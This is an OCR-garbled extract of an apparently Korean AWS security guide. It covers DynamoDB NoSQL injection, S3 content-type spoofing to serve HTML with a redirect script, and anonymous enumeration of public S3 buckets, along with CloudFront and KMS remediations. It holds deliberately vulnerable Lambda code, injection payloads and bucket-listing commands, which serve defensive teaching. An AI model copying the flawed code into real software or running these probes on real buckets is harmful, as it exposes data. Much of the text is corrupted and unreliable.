Stepd. 122 'FH(Ture)2 2 BHEO{F = F2|(value = wvalue or value =)2 HZESI0] ™ML Al H O]9 RE

HOIE 7} ==|F

DynamoDB Search.
[Request]
or :value

UserInput name=jud
DynamoDB ! : anSpec() .withFilterExpression(property +"=:value and #name = erInput_name ")
.withFilterExpression(:value = :value or :value=jud @gmail.com and name =judy

=== [Response
{ Item: {phone
{ Item: -phone
{ Item:
{ Item:

=26} }
.com, age=26} }
.com, age=21} }

(LS
Wwooa Ml

[¥9)

ZICH TIP
+ =S miEto|g HZE kA ZCH Al Bl 2k
o=AtE Hlm gL Al " §o EEAts YOisl Hrob ol 2o HOlE el ZE HIOo[H7t

HMue) 22 XN2|E SEEUCH

. EHA HI WA T Y3 Type gt THEuoH
A GIO|E X3S Q% X712l S lambda OS BHUY £ OfUIAX =F 59 HYHS S
morst 4 oLt 1 9 ojSa|AHolM SHEIoR mekelr| ofzgo| AULLCh
Fol Mg
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5.5.5. HOICH*H

?.

Hi

TE:

o

s
12
o3
oR

NoSQL Injection

2
ru
x
=
1>

Amazon DynamoDB, Amazon Lambda, AWS SDK, AWS EC2

muju
n
4o
In
Jm

X

ZA| QM. =HE mt2to|HE AMESH HO[Z Z32(Scan)
1) 7|& metoleHE A8 EHeol =g % Al
H U2 Mol g2 BT 2SS MY Bt AATE0 gL

NoSQL Inejection #F < A E 0 A|, Lambda(python)

import json

import boto3

db = boto3.client('dynamodb')

def lambda_handler(event, context):
if 'body" in event:

jbody = json.loads(event['body'])

if 'db" in jbody and 'search_term' in jbody and 'search_operator' in jbody #
and 'search_field" in jbody:
response = db.scan(TableName=jbody['table'], Select="ALL_ATTRIBUTES', ScanFilter={
jbody['search_field']: {"AttributeValuelList": [{"S": jbody['search_term']}],

"ComparisonOperator": jbody['search_operator']}

NoSQL Inejection 2Ot A= 0| A|, Lambda(python)

if 'db" in jbody and 'search_term' in jbody and 'search_operator' in jbody #
and 'search_field' in jbody:
response = db.scan(TableName="DemoUsers", Select="ALL_ATTRIBUTES', ScanFilter={
jbody['search_field']: {"AttributeValuelList": [{"S": jbody['search_term']}],
"ComparisonOperator": "EQ"}

D QF Y=gz HE2s ddot7Lr dEo] 2%t 32,

dEo dgo| 2t ¢SS 02 X4 =1 F LHo| W} HESo] AL
2) YYHOE HE 2E5= A0l Qs 32,

OS HHO sfM7|of X o e s dF5/=20 =58 7o
3) ¥ o ciet mpetolg Hjojgel ", " " ZAHO| et BHE X2

X HO[E{H|O|A o5 2 Al SEOOE W gM &0 SHLX| BT XM ER
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B | [ HTRMES0-URAH 2R x| 4 - X
& C | B secloud\abs.com;\'ndex.jsd?p\opert}"z:UsmName&value:bob&passworcl:bcbl oW oa | -
HTTP ¥Eli 500 - L5 MY 27
ErofclEtn}

[THE] An exception occurred processing [/index.jsp] at line [78]
B HH7L ST SRS SEAFIT 2514 she WK Y2 FHE BRCHEUD.
12|

org.apache, Jasper JasperExcept fon: n ewcept ion occurred processing [/index. jsp] at line [78]

¥iH ScanSpec scanSpec = new ScanSpect ). withProject ionEspression( "Userbane” ) withFilterExpression(property+” = ivalue and Password = :password”) withVa lueMap(valushap):
e ItenCol lection<ScanQut cones items = table.scan(scanSpec):

™ Iterator<ltems iter = items, iterator();

iiH if{iter.haslext())

M. {

a0: 3

al:

EX SN - H| 2

Amazon DynamoDB — ScanFilter Z= £A
AWS (https://docs.aws.amazon.com/ko_kr/amazondynamodb/latest/de -

veloperguide/LegacyConditionalParameters.ScanFilter.html)

Amazon DynamoDB - 7|Z It2t0|HE O|8%t =71 2
AWS (https://docs.aws.amazon.com/ko_kr/amazondynamodb/latest/de -

veloperguide/LegacyConditionalParameters.Conditions.html)

Amazon DynamoDB - AWS SDK(JavaDB %! DynamoDB) O|O|H
2| o A
(https://docs.aws.amazon.com/ko_kr/amazondynamodb/latest/de

AWS

veloperguide/GettingStarted.Java.04.html)
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5.6. S3: I HYEE
5.6.1. ZI¢t=ty
AWS Cloud
Authentication Q
Amazon S3 Amazon Cognito Amazon S3
HTML T
H
Users Amazon Amazon Amazon AWS Lambda
Route 53 CloudFront AP| Gateway
AWS Lambda
“Content-Type” : “text/html”
[13 54] MH{2|A @ OjZ2A0|M o $3 WY Y=E 3 32
Q ALEA7E B2t A0 ofojX| mtY HYEE QHFO| MH(Lambda)2 ™Y
Q MHOAM XNE|lkl= s AMEAEREH MEER2 Ii2toly g 42 S S3HAlo MEEl= oY &
42 Mojg
Q S3¢| €¢2E = me ™2 Al 0|O/X| o] Oty HTML me=Z QA=

S3= ANE Y=E & W HEHOIHE
o, Al&" go| HEHOH &

Atel of=of &K

AHEAl €
A HELC

5.6.2. Fo%H W&

-II-{'c':'I-
=oc=

Zf =™0| 7%t Content-Type gt BiX

& QUBLICH S301E AAE/AER Ho

O EtH|O[EH 2 L+

S AH el FES JHE

=

=

= e
AWS S3 MH|& E8d 35 7|52 SAHSH| BBz 2-Zf|0jA9 2Fils H=E
X OFx| Ad O 7l WebShellZ} Zte WS HRCSE ZXISHA| USLICEL 1HODE S3 HIlos =
Ferg 23 X ZEIX7F OfHl MA HO|X| Y HO|H2|mYS AR 2Kk bA sHQ|(m|Al, of
§IE FE S)7t 7tset FHAFYLICH
oiCh 7|3 [F2f] Lambda % @ MH[AQ] HE 7|52 S S30| iy m(exe, html)O| YZ2E
T —
2 CHRZE7} 7t
x - YA HOX L Ho|H2|nYe YREBlol 2K of M WL@A, AHAE | 57t
ot getd
| -
ts
H| T )
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5.6.3. ZIThdet
TTH AL GtY ¥2E Al HEIHO|E WX AL

Content Type jpg — htmlZ BIZA[F[H S3= joghtdS FREAFHAZ HEHO|HE html2 214 g

Stepl. HTML Ej7} Z3HEl “infosecjpg’Q| L&

nput

id="Move"
type="button’

onc ‘goinfosec(

<script>

function goinfosec()
window. location.href content

ript>»

[2& 55] Y=E nt(infosec.jpg) EHQl

Step2. I} HZE A|, Content Type= jpg — htmIE HZE

Beferer: https://s3.console.aws.amazon.com/ 33/ upload/create-file-lambda?region=us-=ast-2
Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;qg=0.7

Connection: close

"cwsRequestId": "e0c5codl-193a-4daa-8733-52de835bEIch”,

"bucket":"create-file-lambda™,

"region":"us-=sast-2",

"key":"infosec. jpg",

"httpM=thod™: "PUT",

"customPequestHeaders™: {
"Content-MD5S": "TtEEkKEixFR1Eqg:
"Content-Type"
"X—amz-storage—class .
"yw—amz-—acl":"privace

Y

"headerCverrides™: {

b

"subresourceMap™: {

PUT /infosec.jpg?X-Amz-Security-Token=I1Q0o0Jbh3JpZZ ludiVIEFcalmFwLWSvenRoZWF 2dC0yvIkewROThATEm]l IeCygwS i VIUWUCGVEX 2 £DXHZ 2GhELWTXEES9E
ZE¥rizuiEZCvOunzdJsmpewvha7gx ICoEIEWIEPSZ2EJ Z£0AdurSnMSUens 2 B2 gibt 4agyOF GipitBEEGidlpd TkE4GPkzzeall3 2JvevgLHiS ZBUJOZHI 5t Chl3HSwYzh iy
Ebp7ZPRp4NdCevwUbWsZEQuuEET4bnlCasttbnniYiEETcf YTHIMVEIE0Pev4 XDDEcEc7 Idat HNr quE zht QoVollllxcDLsr YRDNIDE LuBvUHYENPEgoHS ZFYJ ZSJ THZCHnD H
nature=7a234b39fd8bd0bB0EbI4aaaz00a8935cEc493c44d9aa93eE4aatl4ceb1180bE HTTP/ 1. 1

Host: create-file-lambda.s3.us-east-I.amazonavs. com

Content-Length: 95

Sec=-Ch-Ua: " INot A;Brand";vw="99", "Chromium";v="90", "Google Chroms'";v="90"

X-Amz—-Acl: private

Content-Md5: TtEBBEKEixFRIEgqlLzhVogli==

Sec-Ch-Ta-Mohile: 270

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleWebKit/537.3€ (KHTML, like Gecko) Chrome/S90.0.4430.93 Safari/537.3€
Content-Type:

¥-Amz-Storage-Class: STANDARD text/html

Accept: application/jseon, text/plain, */*

Origin: https://s3.console.awvs.amazon.com

Sec-Fetch-5Site: cross-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: =mpty

Referer: https://=23.console.avs.amazon.com/s3/upload/create-file-lambda’region=us-east-2

Aoccept-Encoding: gzip, deflate

Accept-Language: ko-ER,ko;q=0.9,en-US3;q=0.8,en;q=0.7

Connection: close

<html>
<body>
<a href="https://wwv.adtcaps.co.kr/">Go infosec</a>
L

[13 56] miY AZE Al H 3|5 (Content-Type) Zt HE
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Step3. 22 CEl LY I Al Jpg L0 Ofil html2 E2tS KO QA= Z40| BOlg|0f, ALRALE Alz|S

- —

ot

AMOIEOM MEet MU= X245t CIRE2E = AH

r

EEpEE

a1l
In

Ch==

[

EE(R) HEES |~ H(C)

Stepd. [t ZC 9= = ofMIC MY 3

r

[23 58] Ct

o — =
BE &2 oy AA

Ho
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%
i
2
u
g
Ot
ie)
|.|-|
Of
uk
Ot
Rl

0
o>
-
In|

S| s
YEE BHAE Al JIE DY SUFY Gt FOMT| HOE DR NUYOR BHAES

Of BfL|Ch.

<a> </a>E& AF2%t HTML Ot =2 XICt
A

ot

A HAES o &

<input id='"Move’ type="button’ onclick='goinfosec()’ value="2t+ A}

OlE O|='/>

<script>
HTML Function goinfosec(){
windows.location.href = 'http://2fd URL F=A
}
</script>
< c B create-file-lambda.s3.us-east-2.amazonaws.com,/test2.htmil

Go Infosec
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5.6.5. HQtCH*H

?.

HI
o

s
12
o3
oR

S3: Oty g2

2
ru
x
=
>

Amazon Lambda

muju
n
4o
In
Jm

X

ZX| Gt HZ=E Al MH THOIA mbe =HEXtet Content Types HIOHOF &

S3: MYYPZE HOt ME OA|, Lambda(node.js) — 27X A3

var typeMatch = srcKey.match(/¥-.([*.]%)$/);

if (typeMatch) {
callback("Could not determine the image type.");
return;

}

var imageType = typeMatch[1];

ifimageType != "jpg" && imageType !="png"){
callback('Unsupported image type: ${imageType});
return;

S3: mYAZE HOF ML 0fA|, Lambda(python) — Content Type X3

fileName = File

fileContent = "image/jpeg"

mime = magic.Magic(mime=True)

contentType = mimetypes.guess_type(fileName)[0]
if contentType is None:

contentType = mime.from_buffer(fileContent)

el
o
o
o2t
i
Ral
Hu

M
rE
i
>
o3
|
A
Hu

H

Amazon S3 Lambda gt ZE EAM
1 AWS (https://docs.aws.amazon.com/ko_kr/lambda/latest/dg/with-s3-example-
deployment-pkg.html)

Amazon S3°| M ol st

—

2 AWS (https://docs.aws.amazon.com/ko_kr/AmazonS3/latest/userguide/access-

policy-language-overview.html)
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=
5.7.1. RICHEHA

(=

@] AWS Cloud
9 """"""""" o Authentication
[ sccper

Amazon Cognito Amazon
DynamoDB

% /I\
Users Amazon Amazon Amazon AWS Lambda &
Route 53 CloudFront AP| Gateway
AWS Lambda

7

Amazon S3

[23 59] MHE|2 @ ofE2|AHo| M &Fe|l 2R Public 28 SF Cf(S3)
Q ArEAE 88 ZHZES 2F 5tH Cloudfront & S3 HZlo| AHSS M2

S39t CloudfrontS Sof # 0fZ 2|04 S Hste ZL, UHDl L S30f o B JASS Y2cotm
Cloudfrontol sl # ZAEHS stEZ AHIABLICL olmf, S3& el=olM NI B0 =X =S

Cloudfrontg SolMBt ® AHAS O|8SHES she X0l YBrHQLICE J2jLt 2L #Z0| 9%t
Y2 ROl FP S3B PublicOR MHSLD O[O|X|LE js, css MR MASS N JIMCH Al F2E US

4 ABLCH 0|3 Z FEAHE S3BA URL

-

rir
mjo

=

5S4 o), Public B3 ML HAE ¥ 4+ Y&LULH

57.2. #o%H W&

T e

2L public 4HOE LFY FP BANI £2 LA FISALL HIBH A
OF
o

e A0 CHs H2E 2 Qe FF™QL o
[%]2] QIEO|A ™2 7H58h S3 A oA ZTLHPEE ST 4 Qg AP AR

o} L‘_|-o|-L_| |:|-

Q| ALO|EL} ZA QUZ

— =

= 8ol 228 FE7I =FEALL MH|Aet 2EE T

o
o
HI

ot =BY + YEUH

H| -
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hitml lang="en
¥ <head
P <style type="text/css":».{/style
meta charset="utf-3
link rel="shortcut icon” href="/favicon.ico

meta name="viewport” content="width=device-width,initial-scale=1
meta name="theme-color” content="{2282248
meta name="description” content="Web site created using create-react-app

link rel="apple-touch-icon” href="https://kanban-0ail123123123.s3.ap-northeast-2.amazonaws.com/logold2.png" > == £6
link rel="manifest” href="/manifest.json

title>Podcast Search Engine: BrainvNinja.com</title

link href="/static/css/2.8fb@AcE5.chunk.css" rel="stylesheet
link href="/static/css/main.1f829f71.chunk.css5" rel="stylesheet
/head
¥ <body

[13 60] S3 URL &= of

Step2. % ZEX It URL HEZ2 NYHD Al oF 30 AHSS oz & AS

v<ListBucketFesult =mlns="http:// 33, amazonaws.com/doc/2006-03-01/">
<Hameralalb2bPode3<Hame=
“Prefis/=
<Marker /=
“Maxkeys=1000</Haxkeys>
<lsTruncated=false</IsTruncated=
v=Contentss
<Key=poc, tut </ Key:
<LastModified=2021-04-09T14:04:15, 0007</LastHadified=
<ETag>"18ef16%abe9{ 4992 1dB3290c1bbd 13150 " < /ETag>
“Hizex?T</ S zex
vOwners
< | [=746c 85300530 4c Yab058a e 1 3290 342 484d3f b0e 058629792 o  34d29c51 Te309</ | =
<Displaylame>sungyveop, jung</Dise lavbanes
</ Dwner =
<StorageClass>STANDARD</StarageClass>
</Contents:>
v<Contents»
<Kew=textfile,tut</Key>
<LastModified=2021-04-08T07:25:36. 0002</LastMadif ied>=
<ETag>""7815696echf 1c9526894b 779456d 5330 " </ETag>
<5ize=d</5ize
wOyners
<| [>746c8530e 0530 4c TaB038ae 1 329 34 484d 31 b0e 05862 979e c f 34d29c 51 Te309</| =
<DisplayHame>=sungyeop. juna</Displavlane>
=/wner >
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketPesult>

[A12 61] URL XHEZ

mjo

E
S

rot
T
»
jﬂ
ne
n
|>
[m
Jiot
an
=2
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SotFE Ro5iZ YHE(AWS)

aal

5.7.4. FICk Xt ALE

S3 MH|29] Public @782 HZl, ACLO| 2teh 27O EXetL . ACLO| ELHE 2780 g =X BRUATE

Mo Tigo| WAL

=
o J|EMOZ MYUS ESE7| YUsiME S3 URLI Haks
ZICH T2l DNS ZHolE &% EE #=HO0| 7tsgHCh
Step 1. TICtCHAb(http://f***.cloud)2| S3H{ZI 4 =9l

A dig +nocmd
fLlaws . cloud.

any +multiline +noall +answer
IN SOA ns-1890.awsdns-44.co.uk. awsdns-hostmaster.amazon.com. (
1 H

.cloud

serial

refresh (2 hours)
retry (15 minutes)
; expire (2 weeks)

; minimum (1 day)

A nslookup 52.218.242.74
MH kns.kornet.net
Address: 168.126.63.1

s3-website-us-west-2.amazonaws.com

Amazon S3 v

Amazon S3

Step2. AWS CLI =11 O|&%F S3H{3l K| E|AE X3

- S3H I 280 Wk =37t 27ts E +

A aws s3 1s s3://
00:
05:
05:
16:
47:
59:
59:

2017-03-14
2017-03-03
2017-03-03
2020-05-23
2018-07-11
2017-02-27
2017-02-27

A aws s3 1s s3://]

32z
13:
3=
03:
01:
10:
10:

2575
1707
1101
3162
15979
46
1051

e

hintl.html
hint2.html
hint3.html
index.html
logo.png

robots.txt

ol
N =

md/ --no-sign-request --region us-west-2

secret-dd@2c7c.html

-bucket-1/ --no-sign-request --region us-west-1

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
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5.7.5. HOICH*H

T= W&
323 2R3 public 47
s2 Mo =28a3%t public 2822 R0 58 4% 34At7t 58 oo HISHAL HS
W MBIAO THe HERE 4+ e FE.
239 S HO|AL= S3, RDS AH|AZ H{OIC AMH|AZ, CloudfrontE ZE2E o A
g MHAE A8 0] 2% S3& & 2AH0 East DYdEES Madte 922 otH
ZERE &4 R =522 B3R AAFEV EEE £ US
OFof, S3E AEZ|X| 8L E (R0 371t AESte 2% RIS S EaSHK|
UEE FolBjo} o
[AWS S3]
AWS S3= & MH|AE SOl AN 2E2|XE X1I-3-3FE MH|2olh, =2 & OofE2|A
ojdol MEA, WM 3 53 AEZ|X|, HOY 248 AEZX| & &8=0f w2} Chef
SHA ALY = US
casel. S3E |l SAEl B R A5l 42
S3E HACoN & =AY mMUS HIoSts AEZX &, CloudfrontE ZEEO
N HHAS SAHSE 822 MHGES &,
LY

=
=)
- HHX JjMS S O WE SEAL HI

Amazon S3
users Amazon
CloudFront
X S32 AF™ A SAEISHK| 1 @ O2laF 20| CloudFrontE £t ¢l MHIAE 313
g 72 ¥g 4 Yt oFe oS 2

- OAI(Origin Access Identity) &
AOIEOIN K& ABRIE & & Sl 7

AWS Z20|A S3 MH|AZ O|=&
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1 &
(U= a Aws 2|H v e r (B v A 2w v
OFA|OF EHEEH
- e 2021.4. 8.
alalb2b2c3c3 ) ap-northeast- A J-'_IE_E— pm

1 = 4:25:16 PM KST

ObAIOF ERE (=

_ _ 2021.5.14. am

1 2} ap-nor - mHeal
alalb2b2c3c4d ; ) ap-northeast A‘le 9:53:33 AM KST
aws-cloudtrail-logs- o= ME(2HZ) S EAR=TEL Fo () 2021.3.31. pm
789369620244-90a41956 us-west-2 HEz0| ot 2:19:22 PM KST
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G
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i
d

n
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£

n
(=]
=

2
1 orek
=

]
FJ - ofo

CAWSHAE
0]440] SHZH &

AbE| Off SEA| OEq 72

X AE

A

ZETEE A RpTH
CEEE:
A ACL(AH|A IO S 2)2 S6 BoiE B{Z 8 HH 0 THEF I 22 oy~ Kpo
@z4s
2919/ ACL(HM|~ MO 22)2 S HOIE HZ! Ol HH o [H3k H= ! oy~ Aot
@z4s
A HEE W3 e A XH Hie 56 2o W3 2 HH o Ci3 He e oA KT
® 24zt
2o/l T2 3l Ei oM A X|F WA Sof 2ojE u7l O Ao (st HE2 O @A} AT WM A KT
® 24d=t
ACL(EMH A HO SE)
CHE Aws A0 7|52 97|/47] HEHE SOTLICH NS 20HE7| [A
0| B{ZI0fl CHH T2 oA A KT M7 0] ZABHE|0f 17| I 20f| =2 i A7} RpCHEILICE,

I

e

s = =z o

= 1 1

B e 2olB B o] bzl i
AHet Ab2 (A0l Cha) R3] 2ot 7|

=
s

M2 Kot dH g Sol5HM| 2., Amazon 53 THE

= o4

Al
=

[ =
T

£ S THAWS AHH)

ID: 746c8530e053b4c7a6038ae13a9c34e484d3fb0e05862979ecf34d 29517309

=

o 3

AbeH(m e el o

1)

http://acs.amazonaws.com/groups/global /AllUsers

[

2E AFERY

ZHH H 2l ACL
Lig, 27 A7, &7
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2] - [F2E] & Sof ¥

i

fot
>
om
2

Zas 1

mjo

20| =5

gk (html, js, css )

M4 a4 | #He | x=E

-]
i

k=]
I
>
EL]
ok
4
=
A
fi=)
1>
o

A~ XY

AWS 20| A CloudFront MH|AZ 0|=3t

cloudfrond

'cloudfr

A H| A

[Distributions] - [Create Distributions] & Ed|

A HIZE MM

ocood-
x
CloudFront How to accelerate your dynamic content with Amazon EC2 as an origin. Learn more
Distributions . . .
Important: On IMarch 23, 2021, CloudFront will begin migrating the Certificate Authority for the ~.cloudfront.net certificate. For morg
information, refer to the AWS Knowledge Center.
Policies <
Functions (IR CloudFront Distributions
What's new 3%
c| % 0 &
P Telemetry
Viewing Any Delivery Method « Any State v
NMonitoring
Delivery Method D - Domain Name Comment Orig
Alarms
Logs O @ Web E1QFUCTLXKX64G d9o1yfaGaxrjn.cloudfront.net creal
O @web E21MCUABDN14CE d3m3fpvjforutt.cloudfront.net cogn
F Reports & analytics
O @ web E25HWORG4A289E d5ovxkt2wvg78 cloudfront.net cogn
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[Origin Domain Name] O S3 HZl2 A%t F, [Restrict Bucket Access] &F0f yesE
MEH [Origin Access Identity] O 22 Identity Md2 SIS0 S3 HZl0f| Cist 27|
Hots F0i510 gt
Create Distribution
Origin Settings
Origin Domain Name  ggsttest s3.amazonaws.com (i ]
Origin Path (i)
Enable Origin Shield O Yes (i)
®No
Origin ID  53-eqsttest (i ]
Restrict Bucket Access @ Yes (i)
ONo
Origin Access Identity ® Create a New Identity (i)
O Use an Existing Identity
Comment  access-identity-eqsttest s3. amazonaws.c (i ]
Grant Read Permissions on O Yes, Update Bucket Policy (i)
Bucket @ No, | Will Update Permissions
Origin Connection Attempts 3 (i)
Origin Connection Timeout  1p (i)
Origin Custom Headers Header Name Value (i)
. ol = o
dgot CloudFront E=HQI0| H2 Al S3 HZIo @ AE Xt HASEO FHH
2 MulAgls 212 golst
&« c & cloudfront.net &
LOGO Q #& Home
= Games = Stats
S3 Ao XY H2Y BF Access Denied 27 & 225t A 07 2 2}
oo BLols
g2 oz
&< c ] .53.ap-northeast-2.amazonaws.com/index.html hd
This XML file does not appear to have any style information associated with it. The document tree is shown below.
v<Error>
<Coderhccessbenied</Codes
<Messasexdccess Denied</Message>
<Fequest | d>PECSO0YHI SHM343B</Request 1 d>
<Host | d=YRFY+utJib3n| giB1HME z4/v0+ Wz ZCE+OYd AW TnFdYzwzERDenpWObL sk Gn | PIWHI OLEpNE 3x0=</Host | d>»
</Error>
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case2. S3E Q|50 275tn AECX| BEBEE AR

32 2E2[X| 82 Y U] 7ty T2 H2 HI 2o SQFEE EUSHA @
7

[xH]
MH| A SHEE 02{5t0] S7tOstA Hal 2o SRYEE 2o & 32 Sand
of AWS KMS (=}

= -

oQ
ot
_|.o'_|.
N
0=
0x
mjo
do
el
>
=
[Va)
rH
8
=2
>
~
<
(V2]
_|>-_
o
[>
Hu
el
ofn
O

AWS Key Management
Service

A 2F0A &

AWS LI £
A 7| = MHStD &

3} &0

AWS Key Management Service(KMS)= Z'& 2|5t AWS AH|A0A 24H 7|=
M5hD 2B} L3 AR S RO - QA ST HalE AHAALCE
KMS+= FIPS 140-2 2152 22 o= o] B0 55 ARSSHO] 7|2 Felste
33 OFSER = 220| Foj L AH|A LT

Xz AEEH7|
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o
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|
In
oo
H1
rlr
rn
e
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1o
lot
Rt

Ty
o
g

ofn
ot

(=]
rlr

X8R5 7| 48

IAM A ZoIA [7] Ze[xhet 7] A-E8XE 44
KMS i S 7| &
7| el Het 89
oAl 3/5

7] gha|xt

ojo
-
(i3]
rlr
15
[
1]
(=)
r
f
L]
>
=]
Rl
i
e
o
of
T
s

Q 1 2 3 4 5 6 7 12 »
015 v a2 v 74 v
/ User
/ User
/ User
7| e = S30| Y=tE HESHY| {5 AWS EZE0(AM AWS S3 MH|AZ O|Fg




Amazon 53 7|(SSE-53)

Amazon S30M ISR M, 22 B A LULICE ®hA3] 20

27 [A

O AWS Key Management Service 7|{SSE-KMS)
AWS Key Management Service(AWS KMS)E E= | & 2+

= d=3t

F|QIL|CH RpMjE| 20

FET| [A

AWS KMS 7|

AWS ZE|E 7|(aws/s3)
t-1:789369620244:alias/aws/s3

arn:aws:kms:ap-northeas
[ © Aws kms 7| B4l A=
AWS KMS 7| ARN 2=

AWS KMS 7|

arn:aws:kms:ap-northeast-1:789365620244:key/... ¥

S AR
O] H{Z12) A 248 0 CHSE Aws KMS ZEE S
Amazon 53 Rest APIS AFEEHL|CH 4|5 20tE

H|Z gt
0 =4z

T AWS CLI, AWS SDK E+=

_ - oy - N -
o|o] Hzlo| =St mel A4 [AM] - [Ze] - [MH & =3t HElZ 8o &=
SL= A o
st MEAY £ AS:
ZHA| (6)
R Amazon S301 HBE Q] Y= 7|2 WEE|LLICH Amazon 53 WHEE| [AS HE5H0 520 Qe 2 LIC CHE MERFT E 0] &
= 2G30F BLIC RMIE) 202 [
(C ][ gurs=a |[ @2 |[ ogzc |[ 4m |[ =2 & |[ sous2 | JEES
a E 37 Hu
e
B s v 84 v oEgaz OIS a 37 v
o =g - -
) txt 2021.4.8, 53 SeletZ AR 7E 3.0B
FOH [=]
(] txt 202149, 20225 27.0B
] ipg 2021512 HEEEEN 145.4KB
Zhod Xl
1] txt 2021.5.2¢ =28 5.0B
| [ secret.txt txt 2021.5.2¢ 2 OIS EFT) 26.0B
~s2|k 2~ B
A = g=st By
HEtHOl & =HE
Efd HE
Zzeo= 43
- o ) _._ = " o
MH & 2220|AM [2d2l] MEE & AWS KMS MH|AE ALESHESE CH21F 20 4
. L o o . = -
d.AWS KMS 223} 7|= f|0|M G E 2=t 7|5 MEig
712 ¥=5t
O HZI0| MEE M WM E RS E U= SITLICE AMIS] Z0HE7| [F
&}
3
S=E 7 (SSE-C)7 7t 8lE A E HELSHEH AWS CU, AWS SDK == Amazon 53 REST APIE A %‘i.”— Ct

HE M XY
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Y=otz oio Y 2 Al of2{7F Z45tH AWS Signature 0f

¢ AWS KMS 7| AF2 HTH0| Ql= QHb AF2 XM= Bh3| Access Denied 0fg] =&

This XML file does not appear to have any style information associated with it. The document tree is shown below.

v<Error>
<Code=Inval idirgunent </Code>
<Message-Requests specifying Server Side Encryption with AWS KMS managed kevs require AWS Signature Yersion 4.
</Message>
<hrgunentHanexduthorization</draumentHane>
<hraument¥alue>nul |</drgunent¥alue>
<Request | d=4757THKFIME1 90HIS</Request | d>
fHost |d=JzfLI10j i /AvE]Prap] +BY0vHGhaXBzzrdkekcoZs 161hN 1 oNaONDi | +¥3nAnzSEFKUrn/okLkwk=</Host | d>
</Error=

=t E oo ool 29 HHolH, #s S Ltes =S| fdiMs 1

22 2=
Z

2t ZHO|AWS Signature | E X Z23j0fgt.

n

https://examplebucket.s3.us-east-1.amazonaws.com/test.txt

2X-Amz-Algorithm=AWS4 -HMAC - SHA256
&X-Amz-Credential=AKTIAIOSFODNN7EXAMPLEX2F20130524%2Fus-east-1%2Fs3%2Fawsd_request
&X-Amz-Date=20200524TB0R0RAZ&X -Amz - Expires=864008X-Amz -SignedHeaders=host
&X-Amz-Security-Token=IQ0olb3IpZ2luX2ViEMVE 2 FX2FR2FX2FR2FR2FX2FR2FX2FH2 FWEaCXVz LW he 3QEMS IGMEQCIBS!

&X-Amz-Signature=<signature-value>

AWS KMS 7| ALg HBHO| Qi ALBXISl FS EA0IM NF THY CHRREES ¥ 4
S (M) - [CHe2E] HE 27

A (6)
LHE Amazon 530 HEEHN U= 7EA | [AE AE5H0] HiZ10) 9= BE 2H 2 5
CHE AFEAEZE 4RO YA = QA SHEH BAIH SR HFHS 2 0joOF BLICH ALMIS] Z0HE7] [4
| C || gusa || 22 ||| oeze || 4n || =e v || zcwsy | DEES
Q o WEEN 1 @
] o= A 8= v Ofx| 2t 43 v 371 v ASAX| YL w
[} txt 2021.5.26. pm 1:11:29 PM KST 5.0B Standard
] =1e] - - -
[} irg 2021.5.14. am 9:55:55 AM KST 145.4KB Standard
[} txt 2021.4.9. pm 11:04:15 PM KST 27.0B Standard
[ secrettxt txt 2021. 5. 26. pm 2:09:25 PM KST 36.0B Standard
[l txt 2021. 4.8, pm 4:28:36 PM KST 3.0B Standard
o o e — " o = =1 o
22 2 Uos oo et Es Sd8ez 2ol = US.

) secret tet - Windows 22 - o X
IaF EEE M0 27V =S2H)
old TiW 2% HEEM
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M2 - [H8] - 7|2 L=2HoM [HE] HES 28
712 ¢=3t
O BZI0| NEE 4 HHE HECE ASHTLIC, RHF 20H7| [

t=gh

% po

ufet ric
0%

=

[ |

MH = L22HOIM [2E3] 28, AWS KMS MH|AE ALESI=E Chgit 20| 47

(=13
2.

712 g=z3t
O] b{ZU0) FEE A 24K

uf

RESE HSHTLIC AN E| 20T [A

5} 7|(sSE-C)7 Y HH S UZCEE T AWS CLI, AWS SDK = Amazon 53 REST AP

Amazon 53 7|(SSE-53)

Amazon S30 A4 AHESE W4, B2 L ASTHE TEE 7| ULICE AHME| Z0ET| [4

O AWS Key Management Service 7|{SSE-KMS)
AWS Key Management ServicelAWS KMS)E B S T|&= =3l 7| YULICH AbHs| L0277 [

AWS KMS 7|
AWS Z2[F 7l(aws/s3)

arn:aws:kms:ap-northeast-1:789369620244:alias/aws/s3
[ O Aws kms 7| oA s
AWS KMS 7| ARN 2=

AWS KMS 7|
arn:aws:kms:ap-northeast-1:789369620244:key/... ¥ ‘ C ‘ ‘ 7144 4
Hzl 7|
O] HiZ19] Aj 24| Off CHEH Aws KMs ZEE S0 255} HIES SYLICH Z4H| 0 LS 31 7| 2HE X F5HE E AWS CLI, AWS SDK £

Amazon 53 Rest APIE AHEEILICH XpM|E] 2027 [A
25t
0 24zt

2E0| 2=EH O|= 3y HIAN HRES:= ZE MAS2 KMS Feit HEE.

H| D
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M

H

X

0 Xtz

H| 1

AWS

CloudFrontE AE23}0 Amazon S30| SAEIE= HA & ALO|
EE Ma
(https://aws.amazon.com/ko/premiumsupport/knowledge-

center/cloudfront-serve-static-website/)
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5.8. S3:

Amazon S3

Authentication

Amazon Cognito

AWS Lambda

=

Amazon S3

O

AWS Cloud

Amazon
AP| Gateway

Amazon

CloudFront

Amazon

Route 53

AWS Lambda
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Users
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m0

3

ECHE 2old

v

KO

[=[Y
ofl
=l

—_

Jod
Jjo

K
oF

Stepl.

® 9F7ts T2 E Request

https://victim.com/test.json

88%

Attacker

Cloud Web Service

oIr

TA
ki

& create-file-lambda.s3.us-east-2.amazonaws.conj/jurminjson

c

&

"infosec"}

2T, "name":

age":

"090124-1234567",

{"jumin™:

-

Jol

=L

ol
or

o
i

Jjo

S39| 47d0| Public O] Ot

TIP

o

rd

SE~E=

=
[

| 43| =elof A8

ol

- deleteObject(It AtH| HAE)

- deleteObjects(24=0| Ot AtX| HAE)

- deleteFolder(Z Atx| HAE)
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5.8.5. HQtCH*H

= L&
FHH ¥ EER Jls L FRRC 2las
23 MH|A | AWS S3, Amazon Lambda
SotfE §E8 -
XX| WOH. Public A% L 2LQ3E As0| ZSE| 0| S A, Effect@} Action A
Amazon S3 M 31 At MY
{
"Version":"2021-05-25",
"Id":"ExamplePolicy01",
"Statement":[
{
"Sid":"ExampleStatement01",
"Effect":"Allow", // EX HTHO| 5&, 7{E(Allow or Deny A7)
"Principal":{
"AWS":"arn:aws:iam::123456789012:user/Dave"
1
"Acton":[ //AH™ ATt E|AE
